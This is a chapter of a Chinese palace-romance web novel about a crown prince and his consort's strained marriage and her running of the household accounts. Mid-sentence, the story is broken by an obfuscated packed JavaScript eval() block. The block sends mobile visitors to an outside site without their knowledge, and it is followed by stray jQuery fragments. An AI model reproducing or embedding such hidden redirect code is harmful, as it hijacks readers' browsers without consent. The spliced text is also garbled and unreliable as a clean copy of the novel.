51. 第51章

作品:《失忆后攻陷了前任

    苏汐惜被他闹得耳根都红透,那白皙得仿佛剔透的圆润耳垂染上红霜,一路红到那雪腻纤细的脖子处,美得让人眼晕。


    李祎只看一眼,就轻咳了声错开眼睛。


    “殿下!殿下!妾...妾...”汐惜向来伶俐的口舌,在这一刻仿佛被他克住了,百转千回的念头之间,她终于还是做下了决定。


    决定...还是先主动暗示。


    “殿下年少时一直久居漳州,应当对漳州当地一些对百姓的政策很清楚。”


    李祎还是笑,“怎么,今夜打算与孤秉烛夜谈政务问题?果不愧是苏大姑娘,心有丘壑,爱民如子,与旁的女子皆不同,来,坐下,孤与你慢慢详谈。”


    说着,他还真拉来两张椅子,坐在其中一张,用眼神示意她坐另外一张。


    因为是太子的命令,苏汐惜作为妃的,得先谢恩一次,然后才走到他身旁,规规矩矩交合双手于腹前,轻轻坐下,收腿。


    “殿下,妾今夜想说的是...”


    “知道你想聊地方政策问题,那么,你想聊哪方面的政策?农田政策还是兵役政策?”


    “回殿下,妾想说的是大战后休养生息,边境乃至大晋境内人员减退时,所颁布的政策。”


    “休养生息?”太子笑,“太子妃果然敬天爱民,你是有什么好的建议吗?”


    “殿下,妾愚钝,没有什么好的建议,妾是想问殿下你有什么看法没有?”汐惜显然急得脸蛋更红了。


    “孤能有什么看法?”李祎还在笑。


    “就是...”苏汐惜抬眸看了自己丈夫一眼,看见他仍是今日进宫的那套服饰,显然是去书房处理庶务一直到现在才回,连澡也没来得及洗。


    他姿态随意地坐在那里,却没有半分山野粗鄙的感觉,反倒显贵气闲适,对一切事物掌握游刃有余的气度,他眼瞳发黑地盯着她看,那样专注而情深的眼神,看得她不由气血上涌,骨头酥`麻。


    “就是大战后大减赋税,要求百姓多生育、早生育的政策。”苏汐惜觉得自己已经暗示得够明显,就差直接说出口了。


    “嗯,多生育,早生育。”他应话道。


    他一副好整以暇,也不接下文,只盯着她,听她下文的样子,让汐惜窘迫不已。


    她能做到这个样子已是极限了,“殿下认为,自己身为储君,是否要以身作则,给百姓天下作楷式?”


    说完,她再次恭谨地低头,红晕已经漫染了浑身。


    尽管没有抬眼看他,她都仿佛感受到那道视线在一直盯着而她看,没有减弱,反倒还更强烈了。


    她心脏颤抖得更厉害,手脚已经发麻不会动,深吸口气等着他的回应。


    李祎盯着她看了好久,才哑沉着嗓子克制道:“嗯...是该以身作则的,可怎么办呐,孤一个人又生不了孩子。”


    他这是...他这是...他这是!


    他是非得让她亲口开口说不可?


    可她要开口说出来吗?


    古来为妇者,应当矜持。可她这...


    她也是为了太子的开枝散叶,是为大局而为,那么,应该就可以...


    “妾...妾可...”


    不等她红着脸说完,李祎已经把一块甜得腻人的糖糕塞进她口中。


    “今日回程时让人买的。”他看着她笑,神色很温柔很温柔,仿佛在透过她看的是另一个人似的,“知道你在宫中肯定吃不饱,刚才下人说你撤下去的饭菜还剩了好多呢,在孤这里你不必藏着掖着,想吃就吃,想做什么就做什么,别委屈自己,孤兜得住,知道了吗?”


    那一刻,苏汐惜那颗被捂得热烫的心仿佛被浇了一盆冷水。


    熄灭得悄无声息。


    他看她低头一言不发将糖糕咽下去,还以为她仍在害羞,“这是羊乳味的糖糕,城西那边有家叫福记的糕铺,有卖婆那娑果味的糖糕,下回孤让人买回来给你尝尝。”


    “婆那娑果那样...”她强忍着心头剧烈的窒息疼痛感,依旧装出脸无异色的样子:“那样甜甚的东西...妾身为太子妃,不好轻尝,有些...”


    “有失体统。”


    说完,她轻轻起身,朝李祎行礼,一直垂着脸以恭谨样:“好了,殿下,天色不早了,妾观殿下昨夜不怎么习惯,想必是妾一时不适应旁边有人,频繁翻身,扰了殿下睡眠,明日殿下要早起,妾今夜先到外间睡,不打扰殿下了。”


    说完,她低着头叫都叫不停她脚步似的,径直掀开珠帘走到外头去了。


    李祎见她又变回从前模样,不由有些气馁地叹息一声,坐回床边。


    在外间闻听到太子叹息声的苏汐惜,黑瞳里的碎光晃了一下,铺开被褥的手颤了颤,停顿片刻,又继续碾好皱起角的被子。


    是啊...从前的那个苏汐惜,最爱吃这种腻得发慌的甜食了。


    李祎他不知道,如今的苏汐惜口味清淡,早已不吃过甜或过咸,尤其味道大得影响形象身份的食物,那什么婆那娑果,谁会喜欢那样的东西?


    ·


    李祎以为她仍在介意,所以一整夜也没有步出外间打扰她。


    本打算同她说说以后她睡内间,自己去外间睡的,但想到从前她总是莫名其妙生自己气,对自己冷淡的情景,就退却了。


    在内间待了一整夜,他昨夜连饭都没吃,澡也没洗,本打算进来同她说些话,把买来的糖糕给她之后,就去沐浴换衣吃点东西再回来睡的。


    如今因为怕惊动她,她生气之下连外间也不肯睡直接走掉,只好待在老老实实在内间待了一整夜,大气也不敢出。


    没沐浴换衣怕她日后介意,他连床都不敢躺了,直接在椅子上坐到天亮。


    临天亮的时候眯了一下,出来时发现外间的人儿早已不见了,外头的罗汉榻上被褥折得整整齐齐,一丝皱褶都看不见。


    李祎叹息一声,推门出外。


    苏汐惜一大早就去东苑管家那里要过所有账本来查看。


    相府被赐给太子后,由于一时间无法调来太多人,只是把府里的一些裴家用惯的老人换了,剩下一些新入府的下人留着。


    这个管家是相府老管家告老还乡前亲自


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16380906|178794||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    从老家选来的,所以他并没有被换走。


    程管家素闻这位太子妃出嫁前是名冠京都的苏家女,才貌两全是天下贵女的模范,只是没想到她冷下脸不说话,只是盯着每一条账目看的时候,都快把他吓得心脏跳出来。


    “启禀太子妃...这里头的每一笔,都是小人同从前府里的老管家交接过的,裴老管家在相府工作那么久,相府怎会容许他出这样的错?”


    苏汐惜指出上面的账道:“这里,本宫不管你们从前是如何算的,从今日起,这东苑的一切由本宫接管,这些数便不能这么算了。”


    “你把府里截至昨日的数再重新做一次拿与本宫看,从昨日起,这里便不是相府了,所以账便得重新来算,如果照你这么算账,难道日后我们东宫还得给他们裴家擦屁股吗?”


    程管家没细想这一层,他没想到这个年轻的女子竟把账目看得如此通透,眼光如此毒辣。


    李祎来到的时候,正好目睹她把几个管家的下人给训得跪在地上瑟瑟发抖的样子。


    “太子妃一早上不见人,原来在这里啊。”他笑着提腿进去了。


    下人们见太子来了,连忙跪倒求饶,期望殿下轻饶。


    谁知太子大袖一拂,道:“这里都听太子妃的,孤不插手。”


    那些下人只得被拉走受罚。


    苏汐惜看见太子进来的时候,她向太子行过礼后就侧过身子了,如今他走过来,她也只是低着头算账,一言不发。


    “太子妃厉害啊,处理起这些事情来干脆利索,半点不拖泥带水的。”


    李祎本意是想夸夸她,让她高兴些。


    谁知苏汐惜听完,手里的笔顿住,一大滴墨便滴了下来,把好些数目都晕染了。


    “殿下是不是觉得妾这个人心狠手辣,一点情义也不讲,很是冷血无情?”


    李祎愣了一下,知道她是想起从前的事了。


    “其实...孤之前确实,有记恨过你的。毕竟那些年孤对你付出了那么多,可你明明知道,却还是能,对孤半点怜悯也没有,就那样用最决绝最伤人的方式把孤赶走。”


    听到他说这番话的时候,汐惜的心像被捏紧了,喉咙里堵了一团酸涩灼烫的东西。


    她拼命咽下去,脸色恢复一贯的平静端娴,“妾只会做最正确的事,方才如果轻易饶恕他们了,放任他们用对以前旧主子的方式来对待这件事,不就告诉外头的其他下人,他们也能继续以从前的方式来放任这府里上下腐化下去吗?”


    “不破不立,有时候一味地念旧,看重感情,反倒会害人害己。”


    李祎点点头,“孤现在有些理解你,你身上背负的,孤不是没有想过,只是当时是真的很气,气你真的能冷静到一丝错都不出,气你对孤的感情不够。”


    汐惜竭力握住笔杆,不敢暴露自己的脆弱,头始终没有抬起与他对望。


    “但是...”他自嘲一笑,“但那又如何?孤不想再逼自己,也不想再骗自己了。”


    “孤承认,哪怕你对孤一点情义也不留,孤也还是...抑制不了对你的感情。”